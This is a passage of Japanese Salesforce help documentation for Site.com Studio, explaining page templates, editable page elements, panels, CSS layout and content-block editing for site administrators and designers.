• ユーザは、テンプレートに基づいたページの編集可能なページ要素のイベン

ト、スタイル、プロパティを変更できない。
• ユーザは、テンプレートに基づいたページの編集可能なページ要素をサイズ

変更、再配置、削除できない。ただし、要素の [自動高さ設定] プロパティが
テンプレートで有効化されている場合は、テンプレートに基づいたページのコンテンツに合わせて高さが
調整されます。
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• ページテンプレートから編集可能な要素を削除すると、その編集可能な要素はすべての子ページとテンプ
レートから削除されます。

• ページ要素の [編集可]プロパティを有効化すると、そのテンプレートに基づくすべてのページまたは子テ
ンプレートで有効化されている状況が継承されます。つまり、子テンプレートで有効化された状況は、そ
の子などのすべてにカスケードされます。編集権限を下位レベルにカスケードしない場合は、子テンプレー
トのページ要素の [編集可] プロパティを無効化します。

寄稿者の編集可能なページ要素
• 寄稿者は、テンプレートに基づいたサイトページの編集可能なコンテンツブロックを変更できる。寄稿者

は、テンプレートに基づいたサイトページの編集可能なパネル内に配置されたコンテンツブロックも編集
できます。

ヒント: その他のサイト管理者またはデザイナのみが編集できるコンテンツブロックを追加するには、
代わりに、カスタムコードを使用します。

• 寄稿者は、テンプレートに基づいたサイトページの編集可能なパネルにコンテンツブロックを追加できる。
寄稿者がウィジェットを使用できるようにする場合は、ウィジェットを編集可能なパネルに追加すること
もできます。

• サイト管理者およびデザイナは、編集可能にしたページ要素を編集できる。

編集可能なページ要素のデフォルトのコンテンツ
子ページまたはテンプレート上のすべての編集可能なページ要素のコンテンツは、親ページテンプレートの編
集可能な要素のコンテンツにリンクされています。親テンプレートの編集可能なページ要素のコンテンツを更
新すると、その変更はすべての子ページまたはページテンプレートに転送されます。ただし、子ページまたは
テンプレートのレベルで編集可能なページ要素のコンテンツを変更する場合、要素間のリンクが機能しなくな
り、親テンプレートのページ要素に行われたその後の変更は子には反映されません (コンテンツの制御を親テ
ンプレートに戻すには、ページ上または [ページ構造] ペイン内の編集可能なページ要素を選択して、[ ] >

[親コンテンツに戻す]をクリックします。これを実行すると、編集可能ページ要素のカスタムコンテンツがす
べて失われます)。
親テンプレートのパネルの [編集可] プロパティを無効化すると、子ページまたはテンプレートでそのパネル
に行ったすべての変更が上書きされます。子レベルのパネルへの変更が表示されなくなり、パネルには親テン
プレートのコンテンツのみが反映されます。ただし、子レベルの変更は失われません。親テンプレートのパネ
ルの [編集可] プロパティを再有効化すると、その子に以前追加されたカスタムコンテンツが復元されます。
親レベルで要素に加えられた変更は、表示されなくなります。

関連トピック:

編集可能なテンプレートエリアの作成
寄稿者の Studio ビューの設定
Site.com のページテンプレートの作成
Site.com のページ要素の編集および使用
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Site.com ページの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイト管理者またはデザイナがサイトページを作成する場合、ページテンプレー
トに基づいてページを作成するように選択できます。ナビゲーションメニュー
など共通のページ要素が含まれるサイトベージを複数作成する場合、最初にペー
ジテンプレートを作成し、そのテンプレートに基づいてサイトページを作成す
ると、時間と手間も節約して一貫性のあるデザインを実現できます。または、
構造が類似したサイトページがない、または、ホームページのように全体的な
サイトデザインを合わせない単発のサイトページを作成する必要がある場合は、
基本レイアウトに基づいてページを作成できます。

レイアウトからのサイトページの作成
完全に空白のページから作成を開始するか、または基本のページレイアウトを
使用します。
1. [概要] タブの [サイトページ] にマウスを置いて [新規] をクリックするか、[サ

イトページ] ビューが開いているときに [新規] > [サイトページ]をクリックし
ます。

2. サイトページ名を入力します。ページ名には、空白や、#、?、または @ など
の特殊文字を含めることができません。

3. [レイアウト] をクリックして、空白ページ、またはヘッダーとフッターのあ
るページなど事前定義されたページレイアウトのいずれかを選択します。

メモ: 事前定義されたページレイアウトでは、パネルを使用して、列、
ヘッダー、フッターを作成します。パネルではインライン CSS を使用し
て位置を設定するため、ページを作成した後に簡単にレイアウトを変更
できます。ただし、CSS に精通していて CSS ルールを使用する場合は、
パネルを選択して、[スタイル] ペイン ( ) の [コード] タブからコード
を削除し、[適用] をクリックして、インラインスタイルを削除できま
す。

4. 次のレイアウトモードを選択します。
• ブラウザウィンドウの幅に合わせてページを拡張するには、[全体の幅] をクリックします。
• ページの幅を設定するには、[固定幅] をクリックして幅を入力します。

5. [作成] をクリックします。このサイトのページが開きます。

ページテンプレートに基づいたサイトページの作成
ページテンプレートを作成済みの場合、テンプレートに基づいてサイトページを作成できます。
最も早くページを作成する手順は、次のとおりです。
1. [ページテンプレート] ビューでテンプレートを選択して、[ ] > [テンプレートからページを作成]をクリッ

クします。または、テンプレートを開いている場合は、[ページアクション] > [テンプレートからページを
作成] をクリックします。
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2. サイトページ名を入力します。ページ名には、空白や、#、?、または @ などの特殊文字を含めることがで
きません。

3. [作成] をクリックします。このサイトのページが開きます。
次の手順でもページを作成できます。
1. [概要] タブの [サイトページ]にマウスを置いて [新規]をクリックするか、[サイトページ] ビューが開いてい

るときに [新規] > [サイトページ] をクリックします。
2. サイトページ名を入力します。ページ名には、空白や、#、?、または @ などの特殊文字を含めることがで

きません。
3. [ページテンプレート] をクリックして、ページテンプレートを選択します。
4. [作成] をクリックします。このサイトのページが開きます。

ヒント: 他のページを変換または複製して、ページを作成することもできます。

関連トピック:

デザイナまたはサイト管理者としての Site.com ページの編集
Site.com のページ要素の追加
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Site.com ページで使用するテンプレートの特定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

テンプレートに基づいたページを編集する場合、編集不可のページ要素は変更
できません。また、編集可能なページ要素は、再配置、サイズ変更、削除でき
ません。編集可能なページ要素に関連付けられたイベント、プロパティ、スタ
イルも変更できません。これらの要素またはプロパティを更新するには、ペー
ジがベースにしているテンプレート内で編集する必要があります。
サイトページがベースにしているページテンプレートを特定するには、次の操
作を実行します。
• [概要] タブの [サイトページ] ビューのサイトページにマウスを置きます。情

報ポップアップにページテンプレートの名前が表示されます。
• ページが開いたら、[ページ構造] ペインを調べます。テンプレートの名前が

リンクとして表示されています。このリンクをクリックするとテンプレート
を開くことができます。

ヒント: 特定のページテンプレートに関連付けられたサイトページを確認
して開くには、[概要] タブの [ページテンプレート] ビューでページテンプ
レートを選択またはマウスを置いて [ ] > [テンプレートに基づいてペー
ジを編集]をクリックします。リストされたサイトページをクリックして開
きます。

関連トピック:

Site.com のページテンプレートの作成
Site.com ページテンプレートの概要
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ページの名前変更、複製、および変換

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページとテンプレートを使用する場合、ページの名前変更、削除、複製など、
共通のタスクを実行できます。
より多くのページオプションにアクセスするには、[概要] タブの [サイトページ]

ビューのページを選択またはマウスを置いて、[ ] をクリックします。
より多くのテンプレートオプションにアクセスするには、[概要] タブの [ページ
テンプレート] ビューのテンプレートを選択またはマウスを置いて、[ ] をク
リックします。

または、ページまたはテンプレートが開いている場合は、ツールバーの[ ]

をクリックします。
ページとテンプレートで利用可能なオプションを次に示します。

目的選択

ページまたはテンプレートを開いて編集します。また
は、ページまたはテンプレートをダブルクリックしま
す。

編集

ページまたはテンプレート名を変更します。名前を変更

ブラウザウィンドウでページを表示します。プレビュー

ページまたはテンプレートのコピーを作成します。
ページテンプレートを複製しても、ページテンプレート
に基づいたページまたはテンプレートは複製されませ
ん。

複製

ページまたはテンプレートを削除します。ページのベー
スに使用されているテンプレートは削除できません。

削除

選択したテンプレートに基づいて、子テンプレートを作
成します。

子テンプレートを作
成

テンプレートに基づいてページを作成します。テンプレートから
ページを作成

ページをテンプレートに変更します。サイトページをテン
プレートに変換

テンプレートをページに変更します。ページのベースに
使用されているテンプレートは変換できません。

テンプレートをサイ
トページに変換

選択したページテンプレートに基づいたサイトページを
確認して開きます。

テンプレートに基づ
いてページを編集

許可されている IP アドレスの範囲を制限することで、
ページまたはテンプレートへのアクセスを制御します。

IP 制限を追加
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目的選択

IP 制限のあるテンプレートに基づいてページを作成する場合、そのページに
は IP 制限が継承されます。

関連トピック:

デザイナまたはサイト管理者としての Site.com ページの編集
サイト管理者またはデザイナとしての Site.com Studio の使用

ページの DOCTYPE プロパティの変更

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページのドックタイプ定義 (DTD)、つまり、doctype では、ページが使用している
HTML のバージョンを定義します。この情報は、一部のブラウザで標準の表示
モードを起動するために使用されます。デフォルトでは、各ページの doctype は
最新バージョンの HTML5 に設定されていますが、XHTML 1.0 に変更できます。
ページを開いた状態で、次の手順を実行します。
1. [ページ構造] ペインでページを選択します。
2. [プロパティ] ペインで、[Doctype] ドロップダウンリストでオプションを選択

します。

関連トピック:

ページ要素の HTML タグの変更
カスタム HTML 属性の追加
HTML5 セマンティックページレイアウトタグ
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Site.com のページ要素

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ページ要素はサイトページおよびページテンプレートのビルディングブロック
です。ページ要素を組み合わせて、ページの構造およびコンテンツを提供しま
す。
Site.com Studio でサイトページまたはページテンプレートが開いているときは、
サイト管理者およびデザイナが次のページ要素を使用できます。

説明ページ要素

ページテキストを含み、画像、メディ
ア、およびハイパーリンクも格納でき
ます。ページに編集可能な領域がある
場合は、寄稿者も使用できます。

コンテンツブロック

Site.com Studio で提供されない要素の
HTML や JavaScript などのマークアップを

カスタムコード

追加することで、サイトをカスタマイ
ズできます。

ページに直接画像を追加します。画像

ページにブレッドクラムナビゲーショ
ンを追加します。

ブレッドクラム

サイトのページを移動できるメニュー
を作成します。

メニュー

ページに構造を追加したり、その他の
ページ要素をグループにまとめること
ができます。

パネル

ページにボタンを追加します。[イベン
ト] ペインのアクションを使用すると
ボタンに機能を追加できます。

ボタン

Web-to-リードの作成または顧客の
フィードバックの収集を行って、デー

フォーム

タを Salesforceオブジェクトに登録でき
ます。

フォームまたはページに複数のデータ
型を提供します。フォームに追加され

入力項目

ると、フォームのオブジェクトの項目
にバインドされます。「入力項目の種
別」 (ページ6149)を参照してください。

データの繰り返しに含まれる必要があ
ります。データの繰り返しのオブジェ

データ要素

クトの項目にバインドされ、現在のレ
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説明ページ要素

コードの特定の項目のコンテンツを表示するプレース
ホルダとして機能します。

標準またはカスタムSalesforceオブジェクトへの接続、
返された結果の計算、ページへの計算の表示を行いま
す。

データ関数

Salesforceオブジェクトに接続し、指定した検索条件に
基づいてデータセットを返します。データ要素または

データの繰り返し

カスタムコードページ要素と組み合わせて使用し、
ページの結果を表示します。

標準またはカスタムSalesforceオブジェクトに接続し、
指定した検索条件に基づいてデータセットを取得した

データテーブル

り、1 つ以上のレコードをテーブルの行として表示し
たりします。

Site.com のページ要素の追加
Site.com のページ要素の編集および使用
パネルを使用した Site.com ページのレイアウト
CSS を使用したパネルの位置設定
ページへの画像の直接追加
ページへのコンテンツブロックの追加
コンテンツブロックには Web サイトページのテキストが含まれます。また、画像、動画、およびハイパー
リンクも格納できます。設計モードでは、デザイナおよびサイト管理者がコンテンツブロックをページに
追加できます。
ページへのカスタムコードの追加
サイトマップおよびページ階層について
カスタム HTML 属性の追加
ページ要素の HTML タグで表示するカスタム HTML 属性をページやページ要素に追加できます。たとえば、
特定の属性に基づいて、ページ要素を異なって表示するサードパーティのフレームワークで作業している
場合に役立ちます。
ページ要素の HTML タグの変更
デフォルトでは、パネル、データの繰り返し、データ要素、カスタムコード、およびコンテンツブロック
は、それぞれ div として定義されますが、[HTML タグ] プロパティを使って、これを他の HTML タグに変
更できます。この高い柔軟性によって、ページ上のページ要素の表示方法を制御することができます。
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HTML5 セマンティックページレイアウトタグ

関連トピック:

Site.com のページ要素の追加
Site.com のページ要素の編集および使用

Site.com のページ要素の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページ要素はサイトページおよびページテンプレートのビルディングブロック
です。パネル要素はページに構造を追加します。ページおよびパネルはどちら
もそれらに追加するページ要素の「コンテナ」であると考えることができます。
サイトページまたはページテンプレートが他のページテンプレートに基づいて
いる場合は、編集可能なパネルにのみページ要素を追加できます。編集可能な
パネルはページで青の境界線で強調表示されています。
ページ、パネル、データの繰り返し、およびフォームはページが開いたたとき
に他のページ要素を追加できる「コンテナ」であると考えることができます。
• [ページ要素] ペイン ( ) では、次のいずれかの操作を実行します。

– ページ要素をページのキャンバスまたはコンテナのページ要素にドラッ
グする。

– ページ要素をクリックして、表示されるポップアップでページ要素を配
置する場所を選択し、[適用] をクリックする。

• [ページ構造] ペイン ( ) で、コンテナのページ要素の上にマウスポインタ
を置き、[ ] > [ページ要素を追加] をクリックします。追加する項目をク
リックするか、コンテナのページ要素にドラッグします。

• ページのコンテナのページ要素を選択し、[ ] > [ページ要素を追加] をク
リックします。追加する項目をクリックするか、コンテナのページ要素にド
ラッグします。

ページ要素を編集可能なパネルにドラッグすると、ページ要素では許可アイコ
ンを表示し、緑の境界線が要素を配置する位置を示します。

ページ要素を編集可能でないパネルにドラッグしようとすると、ページ要素では許可なしアイコンが表示され
ます。
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関連トピック:

Site.com のページ要素の編集および使用
ページへの画像の直接追加
ページへのコンテンツブロックの追加
ページへのカスタムコードの追加
ナビゲーションメニューの追加

Site.com のページ要素の編集および使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

[ページ構造] ペイン ( ) ではページのすべての要素の階層が表示されており、
特により複雑なページ設計で、要素の選択、移動、および並び替えに役立ちま
す。
• ページ要素を選択するには、ページのその要素をクリックするか、[ページ構

造] ペインで選択します。この操作により、ページの要素が強調表示され、
項目のセレクタおよび [アクション] メニュー ( ) が表示されます。

• コンテンツブロック、画像、カスタムコードなどのページ要素を編集するに
は、次のいずれかの操作を実行します。
– ページの要素をダブルクリックする。
– ページの要素を選択してセレクタバーの [ ] > [編集] をクリックする。
– 要素を選択するか、[ページ構造] ペインの要素の上にマウスポインタを置

いて、[ ] > [編集] をクリックする。
– ツールバーの [コンテンツを編集] をクリックする (コンテンツブロックの

場合のみ)。
• ページ要素を移動するには、次のいずれかの操作を実行します。

– ページの要素を選択して、適切な位置までドラッグし、セレクタバーの
[ ] > [移動] をクリックする。

– [ページ構造] ペインの希望の位置まで項目をドラッグするか、項目を選択
して、[ ] > [移動] > 方向をクリックする。パネル以外のすべてのペー
ジ要素を [ページ構造] ペインの希望の位置までドラッグすることもでき
ます。

• ページ要素のサイズを変更するには、要素を選択して、サイズ変更ハンドル
を適切なサイズまでドラッグします。角のサイズ変更ハンドルがグレー表示
されている場合は、コンテンツに応じて高さを調整する項目の [自動高さ設定] プロパティが有効であるこ
とを示しています。設定の高さにサイズを変更するには、[プロパティ] ペイン ( ) で [自動高さ設定]の選
択を解除するか、下にあるサイズ変更ハンドルの 1 つをクリックして、表示されるポップアップメッセー
ジで [自動高さ設定の無効化] をクリックしてこのプロパティを無効にします。
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ヒント: 画像で [自動高さ設定] プロパティを無効にするが、そのアスペクト比 (高さと幅の関係) は維
持する場合、Shift キーを押したままドラッグしてサイズを変更します。

または、CSS を使用してページ要素のスタイルを設定している場合は、クラスのスタイルまたはスタイル設
定している ID を調整します。

• 要素を削除するには、要素を選択して、次のいずれかの操作を実行します。
– 項目のセレクタバーで [ ] > [削除] をクリックする。
– [削除] キーを押します。
– ツールバーで をクリックする。
– [ページ構造] ペインで [ ] > [削除] をクリックする。

サイトページまたはページテンプレートが他のページテンプレートに基づいている場合は、次のことが該当し
ます。
• 子ページまたはテンプレート上のすべての編集可能なページ要素のコンテンツは、親ページテンプレート

の編集可能な要素のコンテンツにリンクされています。親テンプレートの編集可能なページ要素のコンテ
ンツを更新すると、その変更はすべての子ページまたはページテンプレートに転送されます。ただし、子
ページまたはテンプレートのレベルで編集可能なページ要素のコンテンツを変更する場合、要素間のリン
クが機能しなくなり、親テンプレートのページ要素に行われたその後の変更は子には反映されません。

• ページ要素の位置またはサイズは変更できません。ただし、テンプレートで要素の [自動高さ設定] プロパ
ティが有効になっている場合は、テンプレートベースのページにコンテンツを合わせるように高さが調整
されます。ページ要素を編集するには、ページテンプレートでその要素を編集する必要があります。

• ページ要素は削除できません。ページ要素を削除するには、ページテンプレートからその要素を削除する
必要があります。

• 行動、プロパティ、または色、位置、サイズなど編集可能なページ要素のスタイルを変更することはでき
ません。

関連トピック:

Site.com のページ要素
Site.com のページ要素の追加
ページへのコンテンツブロックの追加
パネルを使用した Site.com ページのレイアウト
編集可能なページ要素について
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パネルを使用した Site.com ページのレイアウト

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

パネルは、ページの論理的な区切りを定義する有用なレイアウトツールです。
簡単に移動、配置できるようにページ要素をグループ化します。パネルは、他
のページ要素 (他のパネルも含む) のコンテナと考えることも、その中に配置す
るコンテンツを囲む div と考えることもできます。パネルは、ページテンプ
レートに編集可能なエリアを追加する場合に最適です。
ページテンプレートまたはサイトページを作成する場合、パネルを使用して作
成されたヘッダー、フッター、および列が含まれる事前定義されたページレイ
アウトを使用できます。一度作成すると、サイトのデザインに合わせてさらに
レイアウトを変更できます。
ページに区切りを追加する必要があり、CSS には精通していない場合、最も簡単
な方法は、行と列のパネルを使用する方法です。この機能は、CSS の位置設定を
事前に定義したパネルを追加して、ページ上で正しい位置に配置します。

メモ: 事前定義されたページレイアウトおよび行と列のパネルでは、イン
ライン CSS を使用して、位置を設定できます。CSS に精通していて、CSS ルー
ルを使用してサイトのスタイルを設定する場合は、[スタイル] ペイン ( )

の [コード] タブからコードを削除し、[適用] をクリックして、インライン
CSS を削除できます。

ページに行と列のパネルを追加する手順は、次のとおりです。
1. [ページ構造] ペイン ( ) でページ (最上位フォルダアイコン) を選択します。
2. [ ] > [行および列パネルを追加] をクリックします。
3. 必要な行または列のパネルの数を選択します。ページにすでにコンテンツが

含まれる場合、最初の新しいパネルに配置されます。
行パネルを追加するには、次の操作を実行します。
• パネルの上部で、ページ上または [ページ構造] ペイン内のパネルを選択して、[ ] > [行および列パネルを

追加] > [上に行を挿入] をクリックします。
• パネルの下部で、ページ上または [ページ構造] ペイン内のパネルを選択して、[ ] > [行および列パネルを

追加] > [下に行を挿入] をクリックします。
行と列のパネルを別のパネルに追加する手順は、次のとおりです。
1. ページ上または [ページ構造] ペイン内のパネルを選択します。
2. [ ] > [行および列パネルを追加] をクリックします。
3. 必要な行または列のパネルの数を選択します。ページにすでにコンテンツが含まれる場合、最初の新しい

パネルに配置されます。

単一パネルを追加するには、[ページ要素] ペイン ( ) からページに [パネル] をドラッグします。
デフォルトでは、[自動高さ設定] プロパティが有効化されているため、パネルにコンテンツを追加すると、パ
ネルの高さは、自動的に調整されます。パネルのサイズを調整して再配置するプロパティを無効化できます。
ページ上のパネルにマウスを置くと、情報ポップアップにパネルの幅と高さが表示されます。
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パネルにページ要素をドラッグすると、パネルの縁の色が変化して、パネルの中の要素がグループ化されたこ
とが示されます。グループから要素を削除するには、パネルの外にドラッグします。

関連トピック:

Site.com のページ要素の追加
CSS を使用したパネルの位置設定
ページ要素の HTML タグの変更

CSS を使用したパネルの位置設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

パネルは、ページの論理的な区切りを定義する有用なレイアウトツールです。
CSS を使用して、パネルの位置を設定し、ページのレイアウトを改善できます。

パネルのパディングと余白の追加
2 つの CSS プロパティ (余白とパディング) は、行および列と、その中のコンテン
ツとの間のスペースを作成して、ページをレイアウトできます。余白プロパティ
は、パネルの境界と外縁の間のパネルの外側のスペースを制御し、パディング
プロパティは、パネルのコンテンツとパネルの境界の間のスペースを制御しま
す。
余白とパディングを追加する手順は、次のとおりです。
1. パネルを選択します。
2. [スタイル] ペインの [サイズ] セクションを開きます。
3. [余白] セクションで、次のいずれかを実行します。

• [すべて] テキストボックスに値を入力し、測定単位を選択して、4 辺に
共通の余白幅を設定する。

• 該当するテキストボックスに値を入力し、測定単位を選択して、左右上
下の余白幅をそれぞれ設定する。

4. 同様に、[パディング] セクションでは、必要に応じてパディング幅を設定し
ます。パディングを追加すると、パネルの全幅が増えます。たとえば、幅
500px のパネルのすべての辺に 20px のパディングを追加すると、パネルの全
幅は 540px になります。

ヒント: 余白プロパティを使用して、パネルまたはブロックページ要素を
中央揃えできます。[すべて]テキストボックスに「0」と入力して、ドロッ
プダウンリストの [自動] を選択します。
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float プロパティを使用した列パネルの作成
ページにさらに区切りを追加する必要があり、CSS に精通していない場合、最も簡単な方法は、行と列のパネ
ルを使用する方法です。または、CSS の float プロパティを使用して、パネルを左または右に配置して、列を作
成できます (行と列のパネル機能を使用してパネルを追加する場合は、パネルは float プロパティを使用して自
動的に配置されます)。たとえば、2 つの単一パネルをコンテナパネルに追加して、両方のパネルの float プロパ
ティと width プロパティを設定して、2 列のページレイアウトを作成できます。
列パネルを作成する手順は、次のとおりです。
1. パネルを選択します。
2. [スタイル] ペインの [レイアウト] セクションを開きます。
3. をクリックして、パネルを左に配置するか、 をクリックして、パネルを右に配置します。たと

えば、2 列のレイアウトを作成する場合は、両方のパネルに float プロパティを設定します。
4. [サイズ] セクションに幅を設定またはページでパネルの境界をドラッグして、パネルが正しく整列するよ

うにパネルの幅を調整します。たとえば、同じ幅の 2 列を作成する場合、両方のパネルの幅を 50% に設定
します。

ヒント:  float プロパティを使用する場合、コンテナパネルの overflow プロパティを「hidden」に設定しま
す。これにより、列パネルの高さを増やすと、コンテナパネルを大きくできます。コンテナパネルを選
択して、[スタイル] ペインの [レイアウト] セクションで [オーバーフロー] ドロップダウンリストの [非表
示] を選択します。

関連トピック:

カスケードスタイルシートの概要
パネルを使用した Site.com ページのレイアウト
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ページへの画像の直接追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイト管理者またはデザイナはサイトページやページテンプレートに画像を直
接追加したり、コンテンツブロックに画像を追加したりできます。
ページに画像を直接追加する手順は、次のとおりです。
1. サイトページまたはページテンプレートを開きます。
2. [ページ要素] ペインからページに [画像] をドラッグします。
3. [画像を追加] ダイアログボックスで、次のいずれかを実行します。

• [画像を検索] テキストボックスに名前を入力してリストから選択し、既
存の画像を検索します。

• [アップロード] タブで画像まで移動し、[アップロード]をクリックしてリ
ストから画像を選択し、コンピュータの画像をアップロードします。

4. [適用] をクリックします。ページに画像が追加されます。
5. [プロパティ] ペインの [代替テキスト]項目に画像の簡単な説明を入力します

説明は、スクリーンリーダーユーザまたはブラウザで画像を表示できない場
合の代替テキストとして使用されます。また、検索エンジン最適化 (SEO) に
役立てることができます。

関連トピック:

Site.com のページ要素の追加
Site.com のページ要素の編集および使用
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ページへのコンテンツブロックの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

コンテンツブロックには Web サイトページのテキストが含まれます。また、画
像、動画、およびハイパーリンクも格納できます。設計モードでは、デザイナ
およびサイト管理者がコンテンツブロックをページに追加できます。
ページが開いているときにコンテンツブロックを追加するには、[ページ要素] ペ
インからコンテンツブロックをページにドラッグするか、コンテナページ要素
にターゲットを設定します。
コンテンツブロックを編集するには、コンテンツブロックをダブルクリックし
ます。テキストを詳細に管理する場合は、コンテンツブロックを選択して、
[ ] > [HTML を編集] をクリックすれば、HTML を直接編集できます。
ページテンプレートのコンテンツブロックを編集可能にすると、寄稿者がテン
プレートに基づいてページをコンテンツブロックを編集できます。その他のサ
イト管理者またはデザイナのみが編集できるコンテンツブロックを追加するに
は、代わりに、カスタムコードを使用します。

コンテンツ編集ツールバーについて
設計モードでのコンテンツブロックの編集
デザイナおよびサイト管理者は、ページのコンテンツブロックを編集できま
す。コンテンツブロックにはサイトページのテキストが含まれます。また、
画像、動画、およびハイパーリンクも格納できます。
設計モードでのコンテンツブロックへの画像の追加
設計モードでのコンテンツブロックへの動画の追加
設計モードでのテキストおよび画像へのハイパーリンクの追加
設計モードでのページへのアンカーの追加

関連トピック:

設計モードでのコンテンツブロックへの画像の追加
設計モードでのテキストおよび画像へのハイパーリンクの追加
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コンテンツ編集ツールバーについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

設計モードの場合、デザイナおよびサイト管理者は、コンテンツブロックを編
集できます。コンテンツブロックには、画像、動画、およびハイパーリンクと
共にサイトページのテキストが含まれます。

設計モードの場合、コンテンツ編集ツールバーを使用すると、次の操作を実行できます。
• 編集を元に戻したり、やり直したり、Microsoft® Office からコピーおよび貼り付けされたテキストの書式設定

(多くの場合、非表示の書式設定を含む場合がある) を削除する (1)

• テキストの切り取り、コピー、および貼り付け (2)

• 次のような書式設定を直接適用する (3)

– フォントファミリおよびサイズ
– 太字、斜体、下線、下付き文字、上付き文字、取り消し線
– フォントカラーおよび強調表示色

• 次を使用したテキストスタイルおよびレイアウトの制御 (4)

– 段落および見出しスタイルの適用
– 段落のインデントの設定
– テキストの左揃え、中央揃え、右揃え、または両端揃え
– 番号付きまたは箇条書きリストを挿入する

• 表の挿入および行、列、スペースの追加 (5)

• 画像、動画、および特殊文字の追加 (6)

• ハイパーリンクおよびアンカーの追加および削除 (7)

ヒント: 異なるフォント、強調表示などの書式設定をテキストに直接適用することはできるだけ避けてく
ださい。直接適用するのではなく、段落スタイルおよび見出しスタイルを使用して、サイト全体で一貫
した書式設定を迅速に適用することをお勧めします。また、これによりサイト管理者またはデザイナが
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サイトの段落スタイルおよび見出しスタイルを変更すると、すべてのページテキストが自動的に更新さ
れます。

設計モードでのコンテンツブロックの編集

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

デザイナおよびサイト管理者は、ページのコンテンツブロックを編集できます。
コンテンツブロックにはサイトページのテキストが含まれます。また、画像、
動画、およびハイパーリンクも格納できます。
設計モードでページを開いた状態で、次の手順を実行します。
1. ページのコンテンツブロックをダブルクリックします。
2. テキストを追加または編集して、コンテンツ編集ツールバーを使用して設定

します。

ヒント:

• Microsoft® Office からテキストをコピーして貼り付ける場合は、テキス
トを強調表示して、 をクリックし、非表示の書式設定を削除しま
す。これにより、ページにテキストが表示される方法にマイナスの
影響がある場合があります。

• 異なるフォント、強調表示などの書式設定をテキストに直接適用す
ることはできるだけ避けてください。直接適用するのではなく、段
落スタイルおよび見出しスタイルを使用して、サイト全体で一貫し
た書式設定を迅速に適用することをお勧めします。また、これによ
りサイト管理者またはデザイナがサイトの段落スタイルおよび見出
しスタイルを変更すると、すべてのページテキストが自動的に更新
されます。

3. 必要に応じて、画像、動画、ハイパーリンク、またはアンカーを追加しま
す。

4. [保存] をクリックします。

メモ: 子ページまたはテンプレート上のすべての編集可能なページ要素の
コンテンツは、親ページテンプレートの編集可能な要素のコンテンツにリ
ンクされています。親テンプレートの編集可能なページ要素のコンテンツ
